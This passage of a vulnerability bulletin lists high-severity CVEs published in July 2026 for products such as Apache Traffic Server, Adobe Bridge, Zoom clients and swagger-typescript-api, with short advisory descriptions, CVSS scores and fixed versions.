| zevorn--rt-claw                                   | A vulnerability was found in zevorn rt-claw up to 0.2.0. The affected element is the function claw_net_get/claw_net_post of the file claw/services/tools/net.c of the component http_request. The manipulation of the argument url results in server-side request forgery. The attack can be executed remotely. The exploit has been made public and could be used. The project was informed of the problem early through an issue report but has not responded yet.                                                                                                                                                                                                 | 2026-07-18 | 7.3        | <a href="#">CVE-2026-16125</a> |
| zevorn--rt-claw                                   | A vulnerability was determined in zevorn rt-claw up to 0.2.0. The impacted element is the function handle_rpc_request of the file claw/services/swarm/swarm.c of the component Swarm RPC Receiver. This manipulation causes incorrect authorization. The attack is possible to be carried out remotely. The exploit has been publicly disclosed and may be utilized. The project was informed of the problem early through an issue report but has not responded yet.                                                                                                                                                                                                | 2026-07-18 | 7.3        | <a href="#">CVE-2026-16126</a> |
| zevorn--rt-claw                                   | A vulnerability was identified in zevorn rt-claw up to 0.2.0. This affects the function claw_net_get/claw_net_post of the file claw/tools/tool_net.c of the component http_request. Such manipulation of the argument url leads to server-side request forgery. The attack may be performed from remote. The exploit is publicly available and might be used. The project was informed of the problem early through an issue report but has not responded yet.                                                                                                                                                                                                       | 2026-07-18 | 7.3        | <a href="#">CVE-2026-16127</a> |
| zevorn--rt-claw                                   | A security flaw has been discovered in zevorn rt-claw up to 0.2.0. This impacts the function receiver_thread of the file claw/services/swarm/swarm.c of the component http_request. Performing a manipulation results in server-side request forgery. It is possible to initiate the attack remotely. The exploit has been released to the public and may be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.                                                                                                                                                                                      | 2026-07-18 | 7.3        | <a href="#">CVE-2026-16128</a> |
| zevorn--rt-claw                                   | A vulnerability has been found in zevorn rt-claw up to 0.2.0. This impacts the function claw_tool_invoke of the file claw/services/swarm/swarm.c of the component RPC Handler. The manipulation leads to incorrect authorization. Remote exploitation of the attack is possible. The exploit has been disclosed to the public and may be used. The project was informed of the problem early through an issue report but has not responded yet.                                                                                                                                                                                                                      | 2026-07-19 | 7.3        | <a href="#">CVE-2026-16200</a> |
| zhinianboke--xianyu-auto-reply                    | A vulnerability was found in zhinianboke xianyu-auto-reply up to dcb445ad97816ad65299a7580ee0c8c8f929da84. Affected is an unknown function of the file /api/v1/users/ of the component Backend User Endpoint. Performing a manipulation results in missing authorization. The attack may be initiated remotely. The exploit has been made public and could be used. This product uses a rolling release model to deliver continuous updates. As a result, specific version information for affected or updated releases is not available. The patch is named 19fc3282a1bb78a05c34945c088525d20e081cbd. Applying a patch is the recommended action to fix this issue. | 2026-07-14 | 7.3        | <a href="#">CVE-2026-15752</a> |
| Zoom Communications--Zoom Clients                 | A time-of-check to time-of-use (TOCTOU) race condition in the installation and uninstallation process of certain Zoom Clients for Windows could allow an authenticated local user to escalate privileges.                                                                                                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-16 | 7          | <a href="#">CVE-2026-53410</a> |
| Zoom Communications--Zoom Rooms                   | Improper Privilege Management in Zoom Rooms for Windows before version 7.1.0 may allow an authenticated user to conduct an escalation of privilege via local access.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-16 | 7.8        | <a href="#">CVE-2026-53409</a> |
| Zoom Communications--Zoom Workplace for Windows   | Improper Input Validation in Zoom Desktop Client for Windows, Zoom VDI Client for Windows, and Zoom Meeting SDK for Windows may allow an unauthenticated user to conduct an account takeover via network access.                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-16 | 9.8        | <a href="#">CVE-2026-53412</a> |
| Zoom Communications--Zoom Workplace VDI Plugin    | A time-of-check to time-of-use (TOCTOU) race condition in the installation and uninstallation process of certain Zoom Clients for Windows could allow an authenticated local user to escalate privileges.                                                                                                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-16 | 7.8        | <a href="#">CVE-2026-53411</a> |
| Zorem--Advanced Shipment Tracking for WooCommerce | Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Zorem Advanced Shipment Tracking for WooCommerce woo-advanced-shipment-tracking allows Blind SQL Injection.This issue affects Advanced Shipment Tracking for WooCommerce: from n/a through <= 4.0.                                                                                                                                                                                                                                                                                                                                                             | 2026-07-13 | 7.6        | <a href="#">CVE-2026-57773</a> |

# High Vulnerabilities

| Primary Vendor -- Product                                    | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | Published  | CVSS Score | Source & Patch Info            |
|--------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| @fastify/rate-limit--<br>@fastify/rate-limit                 | @fastify/rate-limit before 11.2.0 keys rate-limit buckets by the verbatim client IP string returned from request.ip. Because a single IPv6 client can control a large address range (a /64 holds 2^64 distinct addresses) and the same address has multiple valid textual representations, an IPv6 capable client can defeat the rate-limit boundary by rotating addresses or by rewriting the same address in different forms. Applications that use @fastify/rate-limit to protect endpoints such as authentication, password reset, OTP delivery, or expensive API calls can be bypassed by IPv6 clients behind a proxy that surfaces IPv6 to the origin when trustProxy is enabled. The issue is fixed in @fastify/rate-limit 11.2.0, where the default key generator normalizes IPv6 addresses to their canonical form, collapses IPv4 mapped IPv6 to IPv4, and applies a configurable prefix mask (default /64) via a new ipv6Subnet option. | 2026-07-29 | 7.3        | <a href="#">CVE-2026-15144</a> |
| acacode--swagger-typescript-api                              | swagger-typescript-api generates API clients for Fetch or Axios from an OpenAPI Specification. Prior to 13.12.2, templates/base/http-clients/axios-http-client.ejs interpolates servers[0].url from src/code-gen-process.ts into the HttpClient constructor without escaping, allowing an attacker-controlled OpenAPI spec to inject code that executes when new HttpClient() or new Api() is constructed. This issue is fixed in version 13.12.2.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-29 | 8.3        | <a href="#">CVE-2026-54661</a> |
| acacode--swagger-typescript-api                              | swagger-typescript-api generates API clients for Fetch or Axios from OpenAPI specifications. Prior to 13.12.2, src/code-gen-process.ts createApiConfig copies servers[0].url into apiConfig.baseUrl, and templates/base/http-clients/fetch-http-client.ejs interpolates apiConfig.baseUrl into the generated HttpClient baseUrl field without escaping, allowing an attacker-controlled OpenAPI spec to inject TypeScript static field code that executes when the generated fetch client module is imported. This issue is fixed in version 13.12.2.                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-29 | 8.3        | <a href="#">CVE-2026-54662</a> |
| acacode--swagger-typescript-api                              | swagger-typescript-api generates API clients for Fetch or Axios from an OpenAPI Specification. Prior to 13.12.2, src/schema-parser/base-schema-parsers/enum.ts passes components.schemas.*.enum[i] values to Ts.StringValue in src/configuration.ts without escaping before templates/base/enum-data-contract.ejs renders TypeScript enum declarations, allowing an attacker-controlled OpenAPI spec to inject code that executes when the generated module is imported. This issue is fixed in version 13.12.2.                                                                                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-29 | 8.3        | <a href="#">CVE-2026-54664</a> |
| acacode--swagger-typescript-api                              | swagger-typescript-api generates API clients for Fetch or Axios from an OpenAPI Specification. Prior to 13.12.2, src/schema-routes/schema-routes.ts passes OpenAPI path keys through parseRouteName to templates/default/procedure-call.ejs and templates/modular/procedure-call.ejs without escaping JavaScript template literal interpolation, allowing an attacker-controlled path containing \${...} to execute when the generated method is called. This issue is fixed in version 13.12.2.                                                                                                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-29 | 8.3        | <a href="#">CVE-2026-54666</a> |
| acacode--swagger-typescript-api                              | swagger-typescript-api generates API clients for Fetch or Axios from OpenAPI specifications. Prior to 13.12.2, src/resolved-swagger-schema.ts getRemoteRequestHeaders forwards --authorizationToken to every URL fetched by fetchRemoteSchemaDocument while warmUpRemoteSchemasCache resolves external \$ref URLs, allowing an attacker-controlled OpenAPI spec to exfiltrate the developer or CI bearer token to a cross-origin endpoint. This issue is fixed in version 13.12.2.                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-29 | 7.4        | <a href="#">CVE-2026-54660</a> |
| acowebs--Dynamic Pricing With Discount Rules for WooCommerce | Unauthenticated Cross Site Scripting (XSS) in Dynamic Pricing With Discount Rules for WooCommerce <= 4.5.11 versions.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-27 | 7.1        | <a href="#">CVE-2026-59556</a> |
| Adobe--Adobe Bridge                                          | Bridge is affected by an Incorrect Authorization vulnerability that could result in privilege escalation. An attacker could leverage this vulnerability to gain unauthorized read and write access. Exploitation of this issue requires user interaction in that a victim must open a malicious file. Scope is changed.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-28 | 8.2        | <a href="#">CVE-2026-48390</a> |
| Adobe--Adobe Bridge                                          | Bridge is affected by an Untrusted Search Path vulnerability that could result in arbitrary code execution in the context of the current user. A low-privileged attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue requires user interaction in that a victim must open a malicious file. Scope is changed.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-28 | 8.2        | <a href="#">CVE-2026-48391</a> |
| Adobe--Adobe Bridge                                          | Bridge is affected by an Untrusted Search Path vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue requires user interaction in that a victim must open a malicious file. Scope is changed.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-28 | 8.6        | <a href="#">CVE-2026-48395</a> |

# High Vulnerabilities

| Primary Vendor -- Product                                                                                                                                                                                                        | Description                                                                                                                                                                                                                                                                                                                                                                                                                                     | Published  | CVSS Score | Source & Patch Info            |
|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Adobe--Adobe Bridge                                                                                                                                                                                                              | Bridge is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue requires user interaction in that a victim must open a malicious file. Scope is changed.                                                                                                    | 2026-07-28 | 8.6        | <a href="#">CVE-2026-48396</a> |
| Adobe--Adobe Bridge                                                                                                                                                                                                              | Bridge is affected by an Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability that could lead to arbitrary file system read. An attacker could exploit this vulnerability to access sensitive files and directories outside the intended access scope. Exploitation of this issue requires user interaction in that a victim must open a malicious file.                                                | 2026-07-28 | 7.8        | <a href="#">CVE-2026-48374</a> |
| Adobe--Adobe Bridge                                                                                                                                                                                                              | Bridge is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.                                                                                                                                                                                                  | 2026-07-28 | 7.8        | <a href="#">CVE-2026-48392</a> |
| Adobe--Adobe Bridge                                                                                                                                                                                                              | Bridge is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.                                                                                                                                                                                                  | 2026-07-28 | 7.8        | <a href="#">CVE-2026-48393</a> |
| Adobe--Adobe Bridge                                                                                                                                                                                                              | Bridge is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.                                                                                                                                                                                                  | 2026-07-28 | 7.8        | <a href="#">CVE-2026-48394</a> |
| Adobe--Adobe Campaign Classic                                                                                                                                                                                                    | Adobe Campaign Classic (ACC) is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue does not require user interaction. Scope is changed.                                                                                                                                                                                          | 2026-07-30 | 10         | <a href="#">CVE-2026-48449</a> |
| Adobe--Adobe Campaign Classic                                                                                                                                                                                                    | Adobe Campaign Classic (ACC) is affected by an Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability that could lead to disclosure of sensitive memory. An attacker could leverage this vulnerability to gain file system read access. Exploitation of this issue does not require user interaction. Scope is changed.                                                                             | 2026-07-30 | 8.6        | <a href="#">CVE-2026-48448</a> |
| Adobe--Adobe Photoshop Installer                                                                                                                                                                                                 | Adobe Photoshop Installer was affected by an Uncontrolled Search Path Element vulnerability that could have resulted in arbitrary code execution in the context of the current user. An attacker could have exploited this vulnerability by placing a malicious library in a directory searched by the installer. Exploitation of this issue required user interaction in that a victim must have been running the installer. Scope is changed. | 2026-07-28 | 8.6        | <a href="#">CVE-2026-48388</a> |
| Adobe--Format Plugins                                                                                                                                                                                                            | Format Plugins is affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.                                                                                                                                                                                    | 2026-07-28 | 7.8        | <a href="#">CVE-2026-48372</a> |
| Adobe--Premiere                                                                                                                                                                                                                  | Premiere Pro is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.                                                                                                                                                                                            | 2026-07-31 | 7.8        | <a href="#">CVE-2026-34641</a> |
| ads-tec Industrial IT--DVG-IRF1401                                                                                                                                                                                               | A low privileged remote attacker can perform privileged configuration changes reserved for the administrator level including permission management due to incorrect authorization.                                                                                                                                                                                                                                                              | 2026-07-28 | 8.8        | <a href="#">CVE-2026-14167</a> |
| ads-tec Industrial IT--DVG-IRF1401                                                                                                                                                                                               | A low privileged remote attacker can gain administrator privileges due to missing authorization at the insert path of the configuration table resulting in gaining full system access.                                                                                                                                                                                                                                                          | 2026-07-28 | 8.8        | <a href="#">CVE-2026-14168</a> |
| ads-tec Industrial IT--DVG-IRF1401                                                                                                                                                                                               | Due to incorrect behavior order a low privileged remote attacker could trigger account inconsistent state via crafted input and overwrites existing user passwords which could result in complete administrative unavailability of the device.                                                                                                                                                                                                  | 2026-07-28 | 8.1        | <a href="#">CVE-2026-14169</a> |
| An unrestricted SCORM file upload vulnerability in Koollab LMS allowed an authenticated module designer to upload a SCORM package containing a PHP webshell to a publicly accessible directory and execute arbitrary code on the | An unrestricted SCORM file upload vulnerability in Koollab LMS allowed an authenticated module designer to upload a SCORM package containing a PHP webshell to a publicly accessible directory and execute arbitrary code on the server.                                                                                                                                                                                                        | 2026-07-29 | 9.9        | <a href="#">CVE-2026-63227</a> |



# High Vulnerabilities

| Primary Vendor -- Product                         | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | Published  | CVSS Score | Source & Patch Info            |
|---------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| server.--Koollab LMS                              |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |            |            |                                |
| Anchore--Anchore Enterprise                       | Anchore Enterprise versions from 5.11.0 to 5.27.1 and 6.0.0 contain an improper privilege escalation vulnerability in the user management API. An authenticated attacker who is able to access the Anchore Enterprise API could issue an API call capable of modifying user permissions to gain access to additional resources and operations. It is not possible to grant the system-admin role, but a read only user could be granted write access. This issue is fixed in Anchore Enterprise 5.27.2 and 6.0.1. | 2026-07-28 | 8.8        | <a href="#">CVE-2026-63727</a> |
| ANDRITZ--HIPASE-250                               | A provisioning script used when installing HIPASE-250 (formerly 250 SCALA) engineering workstations sets a fixed, hard-coded x11vnc password. Because the same credential is applied to every workstation provisioned this way, an attacker with adjacent-network access who knows the password can gain VNC access to affected workstations.                                                                                                                                                                     | 2026-07-31 | 8.1        | <a href="#">CVE-2026-65313</a> |
| ANDRITZ--HIPASE-250                               | ANDRITZ HIPASE-250 (formerly 250 SCALA) in affected versions stores and transmits user passwords using a reversible format instead of a one-way password hash. This allows an attacker able to read the credential store or capture network traffic to recover all stored passwords.                                                                                                                                                                                                                              | 2026-07-31 | 7.5        | <a href="#">CVE-2026-65309</a> |
| ANDRITZ--HIPASE-250                               | ANDRITZ HIPASE-250 (formerly 250 SCALA), in the default configuration of affected versions, exposes its data and configuration endpoint without any authentication and permissive CORS on every response. An unauthenticated attacker with network access can read live process values and server configuration.                                                                                                                                                                                                  | 2026-07-31 | 7.5        | <a href="#">CVE-2026-65310</a> |
| Anh Tran--Falcon WordPress Optimizations & Tweaks | Unauthenticated Unknown in Falcon - WordPress Optimizations & Tweaks <= 2.10.0 versions.                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-27 | 7.5        | <a href="#">CVE-2026-59531</a> |
| Apache Software Foundation--Apache Thrift         | Improper Handling of Highly Compressed Data (Data Amplification) vulnerability in Apache Thrift Ruby bindings. This issue affects Apache Thrift: before 0.24.0. Users are recommended to upgrade to version 0.24.0, which fixes the issue.                                                                                                                                                                                                                                                                        | 2026-07-27 | 7.5        | <a href="#">CVE-2026-49158</a> |
| Apache Software Foundation--Apache Traffic Server | Improper Input Validation vulnerability in Apache Traffic Server. This issue affects Apache Traffic Server: from 9.2.0 through 9.2.14, from 10.1.0 through 10.1.3. Users are recommended to upgrade to version 9.2.15 or 10.1.4, which fixes the issue.                                                                                                                                                                                                                                                           | 2026-07-29 | 10         | <a href="#">CVE-2026-33267</a> |
| Apache Software Foundation--Apache Traffic Server | Apache Traffic Server allows request smuggling if chunked messages are malformed. This issue affects Apache Traffic Server: from 8.0.0 through 8.1.9, from 9.0.0 through 9.2.14, from 10.0.0 through 10.1.3. Users are recommended to upgrade to version 9.2.15 or 10.1.4, which fix the issue.                                                                                                                                                                                                                   | 2026-07-29 | 10         | <a href="#">CVE-2026-57834</a> |
| Apache Software Foundation--Apache Traffic Server | Apache Traffic Server does not reject Transfer-Encoding in HTTP/2 requests, allowing downgrade request smuggling. This issue affects Apache Traffic Server: from 8.0.0 through 8.1.9, from 9.0.0 through 9.2.14, from 10.0.0 through 10.1.3. Users are recommended to upgrade to version 9.2.15 or 10.1.4, which fix the issue.                                                                                                                                                                                   | 2026-07-29 | 10         | <a href="#">CVE-2026-58150</a> |
| Apache Software Foundation--Apache Traffic Server | The Apache Traffic Server certifier plugin generates certificates based on attacker-controlled client SNI. This issue affects Apache Traffic Server: from 8.0.0 through 8.1.9, from 9.0.0 through 9.2.14, from 10.0.0 through 10.1.3. Users are recommended to upgrade to version 9.2.15 or 10.1.4, which fix the issue.                                                                                                                                                                                          | 2026-07-29 | 10         | <a href="#">CVE-2026-58162</a> |
| Apache Software Foundation--Apache Traffic Server | Improper Access Control vulnerability in Apache Traffic Server. This issue affects Apache Traffic Server: from 9.0.0 through 9.1.14, from 10.0.0 through 10.1.3. Users are recommended to upgrade to version 9.1.15 or 10.1.4, which fixes the issue.                                                                                                                                                                                                                                                             | 2026-07-29 | 9.3        | <a href="#">CVE-2026-41920</a> |
| Apache Software Foundation--Apache Traffic Server | Apache Traffic Server truncates over-long header names, allowing header aliasing, request smuggling, and policy bypass. This issue affects Apache Traffic Server: from 8.0.0 through 8.1.9, from 9.0.0 through 9.2.14, from 10.0.0 through 10.1.3. Users are recommended to upgrade to version 9.2.15 or 10.1.4, which fix the issue.                                                                                                                                                                             | 2026-07-29 | 9.3        | <a href="#">CVE-2026-58155</a> |
| Apache Software Foundation--Apache Traffic Server | Regular Expression without Anchors vulnerability in Apache Traffic Server. This issue affects Apache Traffic Server: from 10.0.X through 10.1.3, from 9.0.X through 9.2.14. Users are recommended to upgrade to version 9.2.15 or 10.1.4, which fixes the issue.                                                                                                                                                                                                                                                  | 2026-07-29 | 8.2        | <a href="#">CVE-2026-22068</a> |
| Apache Software Foundation--Apache Traffic Server | Apache Traffic Server forwards HTTP/2 origin trailers to HTTP/1 clients without proper chunked framing when converting HTTP/2 to HTTP/1. This issue affects Apache Traffic Server: from 10.0.0 through 10.1.3. Users are recommended to upgrade to version 9.2.15 or 10.1.4, which fix the issue.                                                                                                                                                                                                                 | 2026-07-29 | 8.3        | <a href="#">CVE-2026-58153</a> |
| Apache Software Foundation--Apache Traffic Server | Apache Traffic Server can write out of bounds or overflow integers while parsing MIME and HTTP headers. This issue affects Apache Traffic Server: from 8.0.0 through 8.1.9, from 9.0.0 through 9.2.14, from 10.0.0 through 10.1.3. Users are recommended to upgrade to version 9.2.15 or 10.1.4, which fix the issue.                                                                                                                                                                                             | 2026-07-29 | 8.9        | <a href="#">CVE-2026-58154</a> |

# High Vulnerabilities

| Primary Vendor -- Product                             | Description                                                                                                                                                                                                                                                                                                                                     | Published  | CVSS Score | Source & Patch Info            |
|-------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Apache Software Foundation--<br>Apache Traffic Server | Apache Traffic Server can reuse server sessions and tunnels improperly, exposing data across client connections. This issue affects Apache Traffic Server: from 8.0.0 through 8.1.9, from 9.0.0 through 9.2.14, from 10.0.0 through 10.1.3. Users are recommended to upgrade to version 9.2.15 or 10.1.4, which fix the issue.                  | 2026-07-29 | 8.7        | <a href="#">CVE-2026-58157</a> |
| Apache Software Foundation--<br>Apache Traffic Server | Apache Traffic Server can bypass IP access controls on UDS listeners and through ACL matching errors. This issue affects Apache Traffic Server: from 8.0.0 through 8.1.9, from 9.0.0 through 9.2.14, from 10.0.0 through 10.1.3. Users are recommended to upgrade to version 9.2.15 or 10.1.4, which fix the issue.                             | 2026-07-29 | 8.2        | <a href="#">CVE-2026-58159</a> |
| Apache Software Foundation--<br>Apache Traffic Server | The Apache Traffic Server Cripts framework has out-of-bounds writes, path traversal, and use-after-free errors. This issue affects Apache Traffic Server: from 10.0.0 through 10.1.3. Users are recommended to upgrade to version 10.1.4, which fix the issue.                                                                                  | 2026-07-29 | 8.1        | <a href="#">CVE-2026-58177</a> |
| Apache Software Foundation--<br>Apache Traffic Server | The Apache Traffic Server regex_remap plugin overflows the stack and integers from substitution input. This issue affects Apache Traffic Server: from 8.0.0 through 8.1.9, from 9.0.0 through 9.2.14, from 10.0.0 through 10.1.3. Users are recommended to upgrade to version 9.2.15 or 10.1.4, which fix the issue.                            | 2026-07-29 | 8.1        | <a href="#">CVE-2026-58179</a> |
| Apache Software Foundation--<br>Apache Traffic Server | The Apache Traffic Server ts_lua plugin mishandles initialization, transform context, and per-instance state. This issue affects Apache Traffic Server: from 8.0.0 through 8.1.9, from 9.0.0 through 9.2.14, from 10.0.0 through 10.1.3. Users are recommended to upgrade to version 9.2.15 or 10.1.4, which fix the issue.                     | 2026-07-29 | 8.6        | <a href="#">CVE-2026-58182</a> |
| Apache Software Foundation--<br>Apache Traffic Server | The Apache Traffic Server header_rewrite plugin can crash or corrupt memory during cookie operations and CIDR condition matching. This issue affects Apache Traffic Server: from 8.0.0 through 8.1.9, from 9.0.0 through 9.2.14, from 10.0.0 through 10.1.3. Users are recommended to upgrade to version 9.2.15 or 10.1.4, which fix the issue. | 2026-07-29 | 8.2        | <a href="#">CVE-2026-58184</a> |
| Apache Software Foundation--<br>Apache Traffic Server | Several Apache Traffic Server experimental plugins have memory-safety and limit-bypass errors. This issue affects Apache Traffic Server: from 8.0.0 through 8.1.9, from 9.0.0 through 9.2.14, from 10.0.0 through 10.1.3. Users are recommended to upgrade to version 9.2.15 or 10.1.4, which fix the issue.                                    | 2026-07-29 | 8.2        | <a href="#">CVE-2026-58188</a> |
| Apache Software Foundation--<br>Apache Traffic Server | Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') vulnerability in Apache Traffic Server. This issue affects Apache Traffic Server: from 10.0.0 through 10.1.3, from 9.0.0 through 9.2.14. Users are recommended to upgrade to version 9.2.15 or 10.1.4, which fixes the issue.                                  | 2026-07-29 | 7.2        | <a href="#">CVE-2026-24033</a> |
| Apache Software Foundation--<br>Apache Traffic Server | Apache Traffic Server can be crashed or driven to resource exhaustion by abusive HTTP/2 framing and flow-control. This issue affects Apache Traffic Server: from 8.0.0 through 8.1.9, from 9.0.0 through 9.2.14, from 10.0.0 through 10.1.3. Users are recommended to upgrade to version 9.2.15 or 10.1.4, which fix the issue.                 | 2026-07-29 | 7.5        | <a href="#">CVE-2026-58151</a> |
| Apache Software Foundation--<br>Apache Traffic Server | Apache Traffic Server can crash from null dereferences and dangling references in TLS and SNI handling. This issue affects Apache Traffic Server: from 8.0.0 through 8.1.9, from 9.0.0 through 9.2.14, from 10.0.0 through 10.1.3. Users are recommended to upgrade to version 9.2.15 or 10.1.4, which fix the issue.                           | 2026-07-29 | 7.5        | <a href="#">CVE-2026-58161</a> |
| Apache Software Foundation--<br>Apache Traffic Server | Apache Traffic Server mishandles on-disk cache fields and object lifetimes, corrupting state or crashing. This issue affects Apache Traffic Server: from 8.0.0 through 8.1.9, from 9.0.0 through 9.2.14, from 10.0.0 through 10.1.3. Users are recommended to upgrade to version 9.2.15 or 10.1.4, which fix the issue.                         | 2026-07-29 | 7.5        | <a href="#">CVE-2026-58163</a> |
| Apache Software Foundation--<br>Apache Traffic Server | Apache Traffic Server has use-after-free and time-of-check/time-of-use errors in remap configuration handling. This issue affects Apache Traffic Server: from 8.0.0 through 8.1.9, from 9.0.0 through 9.2.14, from 10.0.0 through 10.1.3. Users are recommended to upgrade to version 9.2.15 or 10.1.4, which fix the issue.                    | 2026-07-29 | 7.5        | <a href="#">CVE-2026-58164</a> |
| Apache Software Foundation--<br>Apache Traffic Server | Apache Traffic Server leaks memory when handling HostDB SRV records. This issue affects Apache Traffic Server: from 8.0.0 through 8.1.9, from 9.0.0 through 9.2.14, from 10.0.0 through 10.1.3. Users are recommended to upgrade to version 9.2.15 or 10.1.4, which fix the issue.                                                              | 2026-07-29 | 7.5        | <a href="#">CVE-2026-58175</a> |
| Apache Software Foundation--<br>Apache Traffic Server | The Apache Traffic Server ESI plugin can recurse without bound and fetch attacker-controlled URLs. This issue affects Apache Traffic Server: from 8.0.0 through 8.1.9, from 9.0.0 through 9.2.14, from 10.0.0 through 10.1.3. Users are recommended to upgrade to version 9.2.15 or 10.1.4, which fix the issue.                                | 2026-07-29 | 7.5        | <a href="#">CVE-2026-58178</a> |
| Apache Software Foundation--<br>Apache Traffic Server | The Apache Traffic Server txn_box plugin overflows the stack from attacker-controlled input. This issue affects Apache Traffic Server: from 8.0.0 through 8.1.9, from 9.0.0 through 9.2.14, from 10.0.0 through 10.1.3. Users are recommended to upgrade to version 9.2.15 or 10.1.4, which fix the issue.                                      | 2026-07-29 | 7.5        | <a href="#">CVE-2026-58180</a> |
| Apache Software Foundation--<br>Apache Traffic Server | The Apache Traffic Server uri_signing and url_sig plugins can exhaust the stack or crash on attacker input. This issue affects Apache Traffic Server: from 8.0.0 through 8.1.9, from 9.0.0 through 9.2.14, from 10.0.0 through 10.1.3. Users are recommended to upgrade to version 9.2.15 or 10.1.4, which fix the issue.                       | 2026-07-29 | 7.5        | <a href="#">CVE-2026-58181</a> |

# High Vulnerabilities

| Primary Vendor -- Product                              | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | Published  | CVSS Score | Source & Patch Info            |
|--------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Apache Software Foundation--<br>Apache Traffic Server  | The Apache Traffic Server webp_transform plugin can decode unsafely and serve mislabeled, cacheable responses. This issue affects Apache Traffic Server: from 8.0.0 through 8.1.9, from 9.0.0 through 9.2.14, from 10.0.0 through 10.1.3. Users are recommended to upgrade to version 9.2.15 or 10.1.4, which fix the issue.                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-29 | 7.5        | <a href="#">CVE-2026-58186</a> |
| Apache Software Foundation--<br>Apache Traffic Server  | Apache Traffic Server allows redirect-limit bypass when plugins reset the retry counter, enabling SSRF amplification. This issue affects Apache Traffic Server: from 8.0.0 through 8.1.9, from 9.0.0 through 9.2.14, from 10.0.0 through 10.1.3. Users are recommended to upgrade to version 9.2.15 or 10.1.4, which fix the issue.                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-29 | 7.5        | <a href="#">CVE-2026-58189</a> |
| Apache Software Foundation--<br>Apache Traffic Server  | Apache Traffic Server drops the per-stream buffer cap when dechunking HTTP/2 or HTTP/3 responses, letting a slow client exhaust server memory. This issue affects Apache Traffic Server: from 8.0.0 through 8.1.9, from 9.0.0 through 9.2.14, from 10.0.0 through 10.1.3. Users are recommended to upgrade to version 9.2.15 or 10.1.4, which fix the issue.                                                                                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-29 | 7.5        | <a href="#">CVE-2026-65324</a> |
| appium--java-client                                    | Appium Java Client is the Java language binding for writing Appium tests that conform to the W3C WebDriver protocol. From 8.2.1 until 10.1.1, when directConnect(true) is enabled, AppiumCommandExecutor.setDirectConnect() reads the directConnectHost, directConnectPort, and directConnectPath fields from the server's NEW_SESSION response and rebuilds the client's server URL from them, validating only that the protocol is https, with no host allowlist or IP validation; a rogue or compromised server can therefore redirect all subsequent session traffic to an arbitrary destination, enabling full interception of session traffic and a server-side request forgery pivot to internal hosts, including cloud metadata (IMDS) credential theft. This vulnerability is fixed in 10.1.1. | 2026-07-28 | 8.2        | <a href="#">CVE-2026-43910</a> |
